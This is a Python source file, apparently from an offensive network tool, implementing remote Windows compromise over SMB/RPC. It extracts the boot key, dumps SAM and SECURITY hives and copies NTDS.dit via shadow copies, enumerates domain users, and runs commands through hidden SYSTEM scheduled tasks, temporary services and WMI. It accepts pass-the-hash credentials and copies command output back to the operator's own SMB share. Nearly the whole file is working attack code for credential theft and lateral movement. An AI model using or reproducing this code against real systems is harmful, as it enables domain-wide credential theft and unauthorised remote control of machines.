rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
|
|
if hasattr(rpc, 'set_credentials'):
|
|
# This method exists only for selected protocol sequences.
|
|
rpc.set_credentials(*self.__smbConnection.getCredentials())
|
|
rpc.set_kerberos(self.__doKerberos)
|
|
self.__scmr = rpc.get_dce_rpc()
|
|
self.__scmr.connect()
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
# Open SC Manager
|
|
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scManagerHandle = ans['lpScHandle']
|
|
# Now let's open the service
|
|
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
|
|
service = resp['lpServiceHandle']
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
|
|
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
|
|
rpc.disconnect()
|
|
except Exception, e:
|
|
# If service is stopped it'll trigger an exception
|
|
# If service does not exist it'll trigger an exception
|
|
# So. we just wanna be sure we delete it, no need to
|
|
# show this exception message
|
|
pass
|
|
|
|
def finish(self):
|
|
self.__restore()
|
|
if self.__rrp is not None:
|
|
self.__rrp.disconnect()
|
|
if self.__drsr is not None:
|
|
self.__drsr.disconnect()
|
|
if self.__samr is not None:
|
|
self.__samr.disconnect()
|
|
if self.__scmr is not None:
|
|
self.__scmr.disconnect()
|
|
|
|
def getBootKey(self):
|
|
bootKey = ''
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
self.__regHandle = ans['phKey']
|
|
for key in ['JD','Skew1','GBG','Data']:
|
|
log.debug('Retrieving class info for %s'% key)
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
|
|
keyHandle = ans['phkResult']
|
|
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
|
|
bootKey = bootKey + ans['lpClassOut'][:-1]
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
|
|
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
|
|
|
bootKey = unhexlify(bootKey)
|
|
|
|
for i in xrange(len(bootKey)):
|
|
self.__bootKey += bootKey[transforms[i]]
|
|
|
|
log.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
|
|
|
|
return self.__bootKey
|
|
|
|
def checkNoLMHashPolicy(self):
|
|
log.debug('Checking NoLMHash Policy')
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
self.__regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
|
|
keyHandle = ans['phkResult']
|
|
try:
|
|
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
|
|
except:
|
|
noLMHash = 0
|
|
|
|
if noLMHash != 1:
|
|
log.debug('LMHashes are being stored')
|
|
return False
|
|
|
|
log.debug('LMHashes are NOT being stored')
|
|
return True
|
|
|
|
def __retrieveHive(self, hiveName):
|
|
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
regHandle = ans['phKey']
|
|
try:
|
|
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
|
|
except:
|
|
raise Exception("Can't open %s hive" % hiveName)
|
|
keyHandle = ans['phkResult']
|
|
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
# Now let's open the remote file, so it can be read later
|
|
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
|
|
return remoteFileName
|
|
|
|
def saveSAM(self):
|
|
log.debug('Saving remote SAM database')
|
|
return self.__retrieveHive('SAM')
|
|
|
|
def saveSECURITY(self):
|
|
log.debug('Saving remote SECURITY database')
|
|
return self.__retrieveHive('SECURITY')
|
|
|
|
def __executeRemote(self, data):
|
|
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
|
|
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
|
command += ' & ' + 'del ' + self.__batchFile
|
|
|
|
self.__serviceDeleted = False
|
|
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
|
|
service = resp['lpServiceHandle']
|
|
try:
|
|
scmr.hRStartServiceW(self.__scmr, service)
|
|
except:
|
|
pass
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
self.__serviceDeleted = True
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
def __answer(self, data):
|
|
self.__answerTMP += data
|
|
|
|
def __getLastVSS(self):
|
|
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
|
|
sleep(5)
|
|
tries = 0
|
|
while True:
|
|
try:
|
|
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
|
|
break
|
|
except Exception, e:
|
|
if tries > 30:
|
|
# We give up
|
|
raise Exception('Too many tries trying to list vss shadows')
|
|
if str(e).find('SHARING') > 0:
|
|
# Stuff didn't finish yet.. wait more
|
|
sleep(5)
|
|
tries +=1
|
|
pass
|
|
else:
|
|
raise
|
|
|
|
lines = self.__answerTMP.split('\n')
|
|
lastShadow = ''
|
|
lastShadowFor = ''
|
|
|
|
# Let's find the last one
|
|
# The string used to search the shadow for drive. Wondering what happens
|
|
# in other languages
|
|
SHADOWFOR = 'Volume: ('
|
|
|
|
for line in lines:
|
|
if line.find('GLOBALROOT') > 0:
|
|
lastShadow = line[line.find('\\\\?'):][:-1]
|
|
elif line.find(SHADOWFOR) > 0:
|
|
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
|
|
|
|
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
|
|
return lastShadow, lastShadowFor
|
|
|
|
def saveNTDS(self):
|
|
log.info('Searching for NTDS.dit')
|
|
# First of all, let's try to read the target NTDS.dit registry entry
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
regHandle = ans['phKey']
|
|
try:
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
|
|
keyHandle = ans['phkResult']
|
|
except:
|
|
# Can't open the registry path, assuming no NTDS on the other end
|
|
return None
|
|
|
|
try:
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
|
|
ntdsLocation = dataValue[:-1]
|
|
ntdsDrive = ntdsLocation[:2]
|
|
except:
|
|
# Can't open the registry path, assuming no NTDS on the other end
|
|
return None
|
|
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
|
|
log.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
|
|
# Get the list of remote shadows
|
|
shadow, shadowFor = self.__getLastVSS()
|
|
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
|
|
# No shadow, create one
|
|
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
|
|
shadow, shadowFor = self.__getLastVSS()
|
|
shouldRemove = True
|
|
if shadow == '':
|
|
raise Exception('Could not get a VSS')
|
|
else:
|
|
shouldRemove = False
|
|
|
|
# Now copy the ntds.dit to the temp directory
|
|
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
|
|
|
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
|
|
|
|
if shouldRemove is True:
|
|
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
|
|
|
|
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
|
|
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
|
|
|
|
return remoteFileName
|
|
|
|
class DumpSecrets:
|
|
def __init__(self, address, username='', password='', domain='', hashes=None):
|
|
self.__remoteAddr = address
|
|
self.__username = username
|
|
self.__password = password
|
|
self.__domain = domain
|
|
self.__lmhash = ''
|
|
self.__nthash = ''
|
|
self.__remoteOps = None
|
|
self.__SAMHashes = None
|
|
self.__isRemote = True
|
|
if hashes:
|
|
self.__lmhash, self.__nthash = hashes.split(':')
|
|
|
|
def getBootKey(self):
|
|
# Local Version whenever we are given the files directly
|
|
bootKey = ''
|
|
tmpKey = ''
|
|
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
|
|
# We gotta find out the Current Control Set
|
|
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
|
currentControlSet = "ControlSet%03d" % currentControlSet
|
|
for key in ['JD','Skew1','GBG','Data']:
|
|
log.debug('Retrieving class info for %s'% key)
|
|
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
|
|
digit = ans[:16].decode('utf-16le')
|
|
tmpKey = tmpKey + digit
|
|
|
|
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
|
|
|
tmpKey = unhexlify(tmpKey)
|
|
|
|
for i in xrange(len(tmpKey)):
|
|
bootKey += tmpKey[transforms[i]]
|
|
|
|
log.info('Target system bootKey: 0x%s' % hexlify(bootKey))
|
|
|
|
return bootKey
|
|
|
|
def checkNoLMHashPolicy(self):
|
|
log.debug('Checking NoLMHash Policy')
|
|
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
|
|
# We gotta find out the Current Control Set
|
|
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
|
currentControlSet = "ControlSet%03d" % currentControlSet
|
|
|
|
#noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
|
|
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
|
|
if noLmHash is not None:
|
|
noLmHash = noLmHash[1]
|
|
else:
|
|
noLmHash = 0
|
|
|
|
if noLmHash != 1:
|
|
log.debug('LMHashes are being stored')
|
|
return False
|
|
log.debug('LMHashes are NOT being stored')
|
|
return True
|
|
|
|
def dump(self, smbConnection):
|
|
try:
|
|
self.__remoteOps = RemoteOperations(smbConnection)
|
|
self.__remoteOps.enableRegistry()
|
|
bootKey = self.__remoteOps.getBootKey()
|
|
|
|
# Let's check whether target system stores LM Hashes
|
|
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
|
|
|
|
SAMFileName = self.__remoteOps.saveSAM()
|
|
|
|
self.__SAMHashes = SAMHashes(SAMFileName, bootKey)
|
|
sam_hashes = self.__SAMHashes.dump()
|
|
|
|
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
|
|
|
return sam_hashes
|
|
|
|
except (Exception, KeyboardInterrupt), e:
|
|
log.error(e)
|
|
try:
|
|
self.cleanup()
|
|
except:
|
|
pass
|
|
|
|
def cleanup(self):
|
|
log.info('Cleaning up... ')
|
|
if self.__remoteOps:
|
|
self.__remoteOps.finish()
|
|
if self.__SAMHashes:
|
|
self.__SAMHashes.finish()
|
|
|
|
class ListUsersException(Exception):
|
|
pass
|
|
|
|
class SAMRDump:
|
|
KNOWN_PROTOCOLS = {
|
|
'139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
|
|
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
|
|
}
|
|
|
|
|
|
def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
|
|
if not protocols:
|
|
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
|
|
else:
|
|
self.__protocols = [protocols]
|
|
|
|
self.__username = username
|
|
self.__password = password
|
|
self.__domain = domain
|
|
self.__lmhash = ''
|
|
self.__nthash = ''
|
|
self.__aesKey = aesKey
|
|
self.__doKerberos = doKerberos
|
|
if hashes:
|
|
self.__lmhash, self.__nthash = hashes.split(':')
|
|
|
|
|
|
def dump(self, addr):
|
|
"""Dumps the list of users and shares registered present at
|
|
addr. Addr is a valid host name or IP address.
|
|
"""
|
|
#log.info('Retrieving endpoint list from %s' % addr)
|
|
|
|
# Try all requested protocols until one works.
|
|
for protocol in self.__protocols:
|
|
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
|
|
port = protodef[1]
|
|
|
|
#log.info("Trying protocol %s..." % protocol)
|
|
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
|
|
|
|
try:
|
|
return self.__fetchList(rpctransport)
|
|
except Exception, e:
|
|
logging.critical(str(e))
|
|
else:
|
|
# Got a response. No need for further iterations.
|
|
break
|
|
|
|
def __fetchList(self, rpctransport):
|
|
dce = rpctransport.get_dce_rpc()
|
|
|
|
entries = {'users': []}
|
|
|
|
dce.connect()
|
|
dce.bind(samr.MSRPC_UUID_SAMR)
|
|
|
|
try:
|
|
resp = samr.hSamrConnect(dce)
|
|
serverHandle = resp['ServerHandle']
|
|
|
|
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
|
|
domains = resp['Buffer']['Buffer']
|
|
|
|
#log.info("Looking up users in domain %s" % domains[0]['Name'])
|
|
|
|
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
|
|
|
|
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
|
|
domainHandle = resp['DomainHandle']
|
|
|
|
resp = samr.hSamrQueryInformationDomain(dce, domainHandle)
|
|
lthresh = resp['Buffer']['General2']['LockoutThreshold']
|
|
entries["lthresh"] = lthresh
|
|
|
|
if lthresh != 0:
|
|
entries['lduration'] = (resp['Buffer']['General2']['LockoutDuration'] / -600000000)
|
|
else:
|
|
entries['lduration'] = 0
|
|
|
|
status = STATUS_MORE_ENTRIES
|
|
enumerationContext = 0
|
|
while status == STATUS_MORE_ENTRIES:
|
|
try:
|
|
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
|
|
except DCERPCException, e:
|
|
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
|
raise
|
|
resp = e.get_packet()
|
|
|
|
for user in resp['Buffer']['Buffer']:
|
|
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
|
|
|
|
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
|
|
#entry = (user['Name'], user['RelativeId'], info['Buffer']['All'])
|
|
entries['users'].append(user['Name'])
|
|
samr.hSamrCloseHandle(dce, r['UserHandle'])
|
|
|
|
enumerationContext = resp['EnumerationContext']
|
|
status = resp['ErrorCode']
|
|
|
|
except ListUsersException, e:
|
|
logging.critical("Error listing users: %s" % e)
|
|
|
|
dce.disconnect()
|
|
|
|
return entries
|
|
|
|
class TSCH_EXEC:
|
|
def __init__(self, username='', password='', domain='', hashes=None, command=None):
|
|
self.__username = username
|
|
self.__password = password
|
|
self.__domain = domain
|
|
self.__lmhash = ''
|
|
self.__nthash = ''
|
|
self.__aesKey = None
|
|
self.__doKerberos = False
|
|
self.__command = command
|
|
self.__tmpName = ''.join([random.choice(string.letters) for _ in range(8)])
|
|
self.__tmpFileName = self.__tmpName + '.tmp'
|
|
self.__smbConnection = None
|
|
self.__dceConnection = None
|
|
self.output = ''
|
|
if hashes:
|
|
self.__lmhash, self.__nthash = hashes.split(':')
|
|
|
|
def play(self, addr):
|
|
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
|
|
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
|
|
|
if hasattr(rpctransport, 'set_credentials'):
|
|
# This method exists only for selected protocol sequences.
|
|
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
|
self.__aesKey)
|
|
rpctransport.set_kerberos(self.__doKerberos)
|
|
try:
|
|
self.doStuff(rpctransport)
|
|
except Exception, e:
|
|
logging.error(e)
|
|
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
|
|
self.doStuff(rpctransport)
|
|
|
|
def doStuff(self, rpctransport):
|
|
def output_callback(data):
|
|
self.output += data
|
|
|
|
dce = rpctransport.get_dce_rpc()
|
|
self.__dceConnection = dce
|
|
|
|
dce.set_credentials(*rpctransport.get_credentials())
|
|
dce.connect()
|
|
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
|
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
|
|
|
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
|
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
|
<Triggers>
|
|
<CalendarTrigger>
|
|
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
|
|
<Enabled>true</Enabled>
|
|
<ScheduleByDay>
|
|
<DaysInterval>1</DaysInterval>
|
|
</ScheduleByDay>
|
|
</CalendarTrigger>
|
|
</Triggers>
|
|
<Principals>
|
|
<Principal id="LocalSystem">
|
|
<UserId>S-1-5-18</UserId>
|
|
<RunLevel>HighestAvailable</RunLevel>
|
|
</Principal>
|
|
</Principals>
|
|
<Settings>
|
|
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
|
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
|
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
|
<AllowHardTerminate>true</AllowHardTerminate>
|
|
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
|
<IdleSettings>
|
|
<StopOnIdleEnd>true</StopOnIdleEnd>
|
|
<RestartOnIdle>false</RestartOnIdle>
|
|
</IdleSettings>
|
|
<AllowStartOnDemand>true</AllowStartOnDemand>
|
|
<Enabled>true</Enabled>
|
|
<Hidden>true</Hidden>
|
|
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
|
<WakeToRun>false</WakeToRun>
|
|
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
|
|
<Priority>7</Priority>
|
|
</Settings>
|
|
<Actions Context="LocalSystem">
|
|
<Exec>
|
|
<Command>cmd.exe</Command>
|
|
<Arguments>/C %s > %%windir%%\\Temp\\%s 2>&1</Arguments>
|
|
</Exec>
|
|
</Actions>
|
|
</Task>
|
|
""" % (self.__command, self.__tmpFileName)
|
|
taskCreated = False
|
|
try:
|
|
logging.info('Creating task \\%s' % self.__tmpName)
|
|
tsch.hSchRpcRegisterTask(dce, '\\%s' % self.__tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
|
taskCreated = True
|
|
|
|
logging.info('Running task \\%s' % self.__tmpName)
|
|
tsch.hSchRpcRun(dce, '\\%s' % self.__tmpName)
|
|
|
|
done = False
|
|
while not done:
|
|
logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % self.__tmpName)
|
|
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % self.__tmpName)
|
|
if resp['pLastRuntime']['wYear'] != 0:
|
|
done = True
|
|
else:
|
|
sleep(2)
|
|
|
|
logging.info('Deleting task \\%s' % self.__tmpName)
|
|
tsch.hSchRpcDelete(dce, '\\%s' % self.__tmpName)
|
|
taskCreated = False
|
|
except tsch.DCERPCSessionError, e:
|
|
logging.error(e)
|
|
e.get_packet().dump()
|
|
finally:
|
|
if taskCreated is True:
|
|
tsch.hSchRpcDelete(dce, '\\%s' % self.__tmpName)
|
|
|
|
smbConnection = rpctransport.get_smb_connection()
|
|
self.__smbConnection = smbConnection
|
|
waitOnce = True
|
|
while True:
|
|
try:
|
|
logging.info('Attempting to read ADMIN$\\Temp\\%s' % self.__tmpFileName)
|
|
smbConnection.getFile('ADMIN$', 'Temp\\%s' % self.__tmpFileName, output_callback)
|
|
break
|
|
except Exception, e:
|
|
if str(e).find('SHARING') > 0:
|
|
sleep(3)
|
|
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
|
if waitOnce is True:
|
|
# We're giving it the chance to flush the file before giving up
|
|
sleep(3)
|
|
waitOnce = False
|
|
else:
|
|
raise
|
|
else:
|
|
raise
|
|
|
|
def cleanup(self):
|
|
logging.info('Deleting file ADMIN$\\Temp\\%s' % self.__tmpFileName)
|
|
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % self.__tmpFileName)
|
|
self.__dceConnection.disconnect()
|
|
|
|
class RemoteShellsmbexec():
|
|
def __init__(self, share, rpc, mode, serviceName, command):
|
|
self.__share = share
|
|
self.__mode = mode
|
|
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
|
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
|
|
self.__outputBuffer = ''
|
|
self.__command = command
|
|
self.__shell = '%COMSPEC% /Q /c '
|
|
self.__serviceName = serviceName
|
|
self.__rpc = rpc
|
|
self.__scmr = rpc.get_dce_rpc()
|
|
|
|
try:
|
|
self.__scmr.connect()
|
|
except Exception as e:
|
|
print "[!] {}".format(e)
|
|
sys.exit(1)
|
|
|
|
s = rpc.get_smb_connection()
|
|
|
|
# We don't wanna deal with timeouts from now on.
|
|
s.setTimeout(100000)
|
|
if mode == 'SERVER':
|
|
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
|
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
|
|
|
try:
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
resp = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scHandle = resp['lpScHandle']
|
|
self.transferClient = rpc.get_smb_connection()
|
|
except Exception as e:
|
|
print "[-] {}".format(e)
|
|
|
|
def set_copyback(self):
|
|
s = self.__rpc.get_smb_connection()
|
|
s.setTimeout(100000)
|
|
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
|
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
|
|
|
def finish(self):
|
|
# Just in case the service is still created
|
|
try:
|
|
self.__scmr = self.__rpc.get_dce_rpc()
|
|
self.__scmr.connect()
|
|
self.__scmr.bind(svcctl.MSRPC_UUID_SVCCTL)
|
|
resp = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scHandle = resp['lpScHandle']
|
|
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
|
service = resp['lpServiceHandle']
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
except Exception, e:
|
|
pass
|
|
|
|
def get_output(self):
|
|
def output_callback(data):
|
|
self.__outputBuffer += data
|
|
|
|
if self.__mode == 'SHARE':
|
|
while True:
|
|
try:
|
|
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
|
break
|
|
except Exception, e:
|
|
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
|
sleep(1)
|
|
pass
|
|
else:
|
|
logging.info('Error while reading command output: {}'.format(e))
|
|
raise SessionError
|
|
|
|
self.transferClient.deleteFile(self.__share, self.__output)
|
|
|
|
elif self.__mode == 'SERVER':
|
|
with open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') as fd:
|
|
output_callback(fd.read())
|
|
#self.transferClient.deleteFile(self.__share, self.__output)
|
|
|
|
def execute_remote(self, data):
|
|
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
|
if self.__mode == 'SERVER':
|
|
command += ' & ' + self.__copyBack
|
|
command += ' & ' + 'del ' + self.__batchFile
|
|
|
|
try:
|
|
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
|
service = resp['lpServiceHandle']
|
|
except:
|
|
return
|
|
|
|
try:
|
|
scmr.hRStartServiceW(self.__scmr, service)
|
|
except:
|
|
pass
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
self.get_output()
|
|
|
|
def send_data(self, data):
|
|
self.execute_remote(data)
|
|
result = self.__outputBuffer
|
|
self.__outputBuffer = ''
|
|
return result
|
|
|
|
class CMDEXEC:
|
|
KNOWN_PROTOCOLS = {
|
|
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
|
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
|
}
|
|
|
|
def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = '', share = None, command= None):
|
|
if not protocols:
|
|
protocols = CMDEXEC.KNOWN_PROTOCOLS.keys()
|
|
|
|
self.__username = username
|
|
self.__password = password
|
|
self.__protocols = [protocols]
|
|
self.__serviceName = self.service_generator()
|
|
self.__domain = domain
|
|
self.__command = command
|
|
self.__lmhash = ''
|
|
self.__nthash = ''
|
|
self.__aesKey = None
|
|
self.__doKerberos = None
|
|
self.__share = share
|
|
self.__mode = 'SHARE'
|
|
if hashes:
|
|
self.__lmhash, self.__nthash = hashes.split(':')
|
|
|
|
def service_generator(self, size=6, chars=string.ascii_uppercase):
|
|
return ''.join(random.choice(chars) for _ in range(size))
|
|
|
|
def run(self, addr):
|
|
result = ''
|
|
for protocol in self.__protocols:
|
|
protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol]
|
|
port = protodef[1]
|
|
|
|
#log.info("Trying protocol %s..." % protocol)
|
|
#log.info("Creating service %s..." % self.__serviceName)
|
|
|
|
stringbinding = protodef[0] % addr
|
|
|
|
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
|
rpctransport.set_dport(port)
|
|
|
|
if hasattr(rpctransport,'preferred_dialect'):
|
|
rpctransport.preferred_dialect(SMB_DIALECT)
|
|
if hasattr(rpctransport, 'set_credentials'):
|
|
# This method exists only for selected protocol sequences.
|
|
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
|
try:
|
|
self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
|
|
result = self.shell.send_data(self.__command)
|
|
except SessionError as e:
|
|
if 'STATUS_SHARING_VIOLATION' in str(e):
|
|
return
|
|
|
|
logging.info('Starting SMB Server')
|
|
smb_server = SMBServer()
|
|
smb_server.daemon = True
|
|
smb_server.start()
|
|
self.__mode = 'SERVER'
|
|
self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
|
|
self.shell.set_copyback()
|
|
result = self.shell.send_data(self.__command)
|
|
smb_server.stop()
|
|
|
|
except (Exception, KeyboardInterrupt), e:
|
|
traceback.print_exc()
|
|
self.shell.finish()
|
|
sys.stdout.flush()
|
|
sys.exit(1)
|
|
|
|
return result
|
|
|
|
class RemoteShellwmi():
|
|
def __init__(self, share, win32Process, smbConnection, mode, noOutput=False):
|
|
self.__share = share
|
|
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
|
self.__outputBuffer = ''
|
|
self.__shell = 'cmd.exe /Q /c '
|
|
self.__win32Process = win32Process
|
|
self.__transferClient = smbConnection
|
|
self.__pwd = 'C:\\'
|
|
self.__noOutput = noOutput
|
|
self.__mode = mode
|
|
|
|
# We don't wanna deal with timeouts from now on.
|
|
self.__transferClient.setTimeout(100000)
|
|
self.__myIPaddr = self.__transferClient.getSMBServer().get_socket().getsockname()[0]
|
|
|
|
def get_output(self):
|
|
def output_callback(data):
|
|
self.__outputBuffer += data
|
|
|
|
if self.__noOutput is True:
|
|
self.__outputBuffer = ''
|
|
return
|
|
|
|
if self.__mode == 'SHARE':
|
|
while True:
|
|
try:
|
|
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
|
break
|
|
except Exception, e:
|
|
if "STATUS_SHARING_VIOLATION" in str(e):
|
|
sleep(1)
|
|
pass
|
|
else:
|
|
logging.info('Error while reading command output: {}'.format(e))
|
|
raise SessionError
|
|
|
|
self.__transferClient.deleteFile(self.__share, self.__output)
|
|
|
|
elif self.__mode == 'SERVER':
|
|
wait = 0
|
|
while wait < 5:
|
|
try:
|
|
with open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') as fd:
|
|
output_callback(fd.read())
|
|
break
|
|
except IOError:
|
|
sleep(1)
|
|
wait += 1
|
|
|
|
def execute_remote(self, data):
|
|
command = self.__shell + data
|
|
if self.__noOutput is False:
|
|
if self.__mode == 'SERVER':
|
|
command += ' 1> ' + '\\\\{}\\{}\\{}'.format(self.__myIPaddr, DUMMY_SHARE, OUTPUT_FILENAME) + ' 2>&1'
|
|
elif self.__mode == 'SHARE':
|
|
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
|
|
|
obj = self.__win32Process.Create(command, self.__pwd, None)
|
|
self.get_output()
|
|
|
|
